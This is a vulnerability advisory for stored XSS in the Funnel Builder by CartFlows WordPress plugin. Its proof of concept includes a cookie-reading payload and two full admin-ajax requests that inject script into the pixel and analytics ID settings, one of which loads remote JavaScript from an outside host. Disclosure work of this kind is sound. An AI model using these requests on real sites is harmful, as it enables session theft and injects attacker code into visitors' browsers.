Funnel Builder by CartFlows < 1.6.13 - Authenticated Stored XSS via FB Pixel ID and Google Analytics ID

Description

The plugin did not sanitise its facebook_pixel_id and google_analytics_id settings, allowing high privilege users to set XSS payload in them, which will either be executed on pages generated by the plugin, or the whole website depending on the settings used.

Proof of Concept

### -- [ Payloads: ]

[$] 'm0ze'); alert(document.cookie); //('m0ze'


### -- [ PoC #1 | Authenticated Persistent XSS | Facebook Pixel ID: ]

[!] POST /wp-admin/admin-ajax.php?_locale=user HTTP/2
Host: example.com
Cookie: [admin cookies]
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=---------------------------136768928210535225113059586199
Content-Length: 1787

-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="_cartflows_facebook[facebook_pixel_tracking]"

disable
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="_cartflows_facebook[facebook_pixel_tracking]"

enable
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="_cartflows_facebook[facebook_pixel_tracking_for_site]"

disable
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="_cartflows_facebook[facebook_pixel_tracking_for_site]"

enable
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="_cartflows_facebook[facebook_pixel_id]"

'm0ze'); alert(document.cookie); //('m0ze'
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="_cartflows_facebook[facebook_pixel_initiate_checkout]"

disable
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="_cartflows_facebook[facebook_pixel_add_payment_info]"

disable
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="_cartflows_facebook[facebook_pixel_purchase_complete]"

disable
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="action"

cartflows_save_global_settings
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="security"

e918af4728
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="setting_tab"

facebook_pixel
-----------------------------136768928210535225113059586199--



### -- [ PoC #2 | Authenticated Persistent XSS | Google Analytics ID: ]

[!] POST /wp-admin/admin-ajax.php?_locale=user HTTP/2
Host: example.com
Cookie: [admin cookies]
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=---------------------------372833242730857634751324923175
Content-Length: 1814

-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="_cartflows_google_analytics[enable_google_analytics]"

disable
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="_cartflows_google_analytics[enable_google_analytics]"

enable
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="_cartflows_google_analytics[enable_google_analytics_for_site]"

disable
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="_cartflows_google_analytics[google_analytics_id]"

';import("https://m0ze.ru/payload/a2r.js");'
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="_cartflows_google_analytics[enable_begin_checkout]"

disable
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="_cartflows_google_analytics[enable_add_to_cart]"

disable
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="_cartflows_google_analytics[enable_add_payment_info]"

disable
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="_cartflows_google_analytics[enable_purchase_event]"

disable
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="action"

cartflows_save_global_settings
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="security"

e918af4728
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="setting_tab"

google_analytics
-----------------------------372833242730857634751324923175--